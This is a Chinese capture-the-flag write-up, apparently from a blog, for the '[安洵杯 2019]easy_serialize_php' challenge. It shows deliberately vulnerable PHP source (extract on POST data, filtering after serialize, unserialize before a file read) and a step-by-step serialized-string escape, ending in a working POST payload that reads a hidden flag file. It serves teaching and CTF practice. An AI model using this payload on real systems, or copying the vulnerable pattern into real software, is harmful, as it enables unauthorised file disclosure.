第五十题——[安洵杯 2019]easy_serialize_php

题目地址:https://buuoj.cn/challenges

解题思路

第一步:进入题目,一个源码超链接,点击后出现源码

<?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

第二步:代码审计

  1. 页面获取f参数,并设置$_SESSION对象的user,function成员变量
  2. 获取POST方式提交的参数,将对象_SESSION进行序列化后使用 filter函数进行过滤
  3. 对function进行判断,若为highlight_file,则把源码高亮;若为phpinfo则执行语句phpinfo();若为show_image,则将过滤后的序列化对象进行反序列化,并将img成员变量解码后去读取指定的文件名输出。

第三步:访问phpinfo

在第二步中最后的if语句提示要查看phpinfo,发现一个异常,auto_append_file说明要在页面底部加载d0g3_f1ag.php文件但是没有,说明要我们去读取这个文件
在这里插入图片描述

第四步:读取d0g3_f1ag.php文件

  1. 在第二步中,若我们将img成员变量指定为d0g3_f1ag.php文件就可以读出,但是源码中img不能由我们设置,一旦指定就会sha加密,之后使用base64解码就会出错
    在这里插入图片描述

  2. 由于页面使用了extract($_POST);通过POST提交重名的_SESSION对象,可以覆盖掉之前的_SEEION对象值,由此来指定img为d0g3_f1ag.php

  3. 后面序列化对象时filter函数会将我们指定的d0g3_f1ag.php中f1ag替换为空。

  4. 由于序列化成的字符串再经过反序列化变成对象时,会按照序列化中指定的长度读取键名和值,我们可以利用filter函数将成员名由有效值转换为空,这样反序列化后按照长度读取时会出错以此来绕过对flag的检测

第五步:构造漏洞

  1. 正常情况下,序列化是:O:4:"Test":3:{s:4:"user";s:5:"guest";s:8:"function";s:10:"show_image";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
<?php  

class Test {
        var $user = 'guest';
        var $function = 'show_image';
        var $img = "Z3Vlc3RfaW1nLnBuZw==";
}

$a = serialize(new Test);
echo $a;
?> 
  1. 但是我们想要的是:O:4:“Test”:3:{s:4:“user”;s:5:“guest”;s:8:“function”;s:10:“show_image”;s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;}
<?php  

class Test {
        var $user = 'guest';
        var $function = 'show_image';
        var $img = "ZDBnM19mMWFnLnBocA==";
}

$a = serialize(new Test);
echo $a;
?> 
  1. 我们可以将user的值设置为flagflag,得到的是:O:4:"Test":3:{s:4:"user";s:8:"flagflag";s:8:"function";s:10:"show_image";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}但经过过滤后变成了O:4:"Test":3:{s:4:"user";s:8:"";s:8:"function";s:10:"show_image";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";},user后面的s还是8,也就是说反序列化后会按照所给的8往后读取8位,但这样就破坏了整体结构,基于此,我们可以在function的值构造闭合,让user往后多读,让function后的值构造出本不存在的值
    在这里插入图片描述

  2. 基于上图,我们可以让user把后面的读取后,让function里面的闭合生效,框起来的有23位,但是过滤的是flag必须为4的倍数,需要在function里多加一位无效值,所以最后function的值为:a";s:8:"function";s:10:"show_image";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";},这样反序列化时使用的是:O:4:"Test":3:{s:4:"user";s:24:"";s:8:"function";s:75:"a";s:8:"function";s:10:"show_image";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}但是读取到下图所示的结束符时,由于没有真正读完,还是会结束读取,将后面的内容做无效处理,这样就可以读取d0g3_f1ag.php。
    在这里插入图片描述

第六步:读取d0g3_f1ag.php

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:8:"function";s:10:"show_image";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

在这里插入图片描述

第七步:读取/d0g3_fllllllag

在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值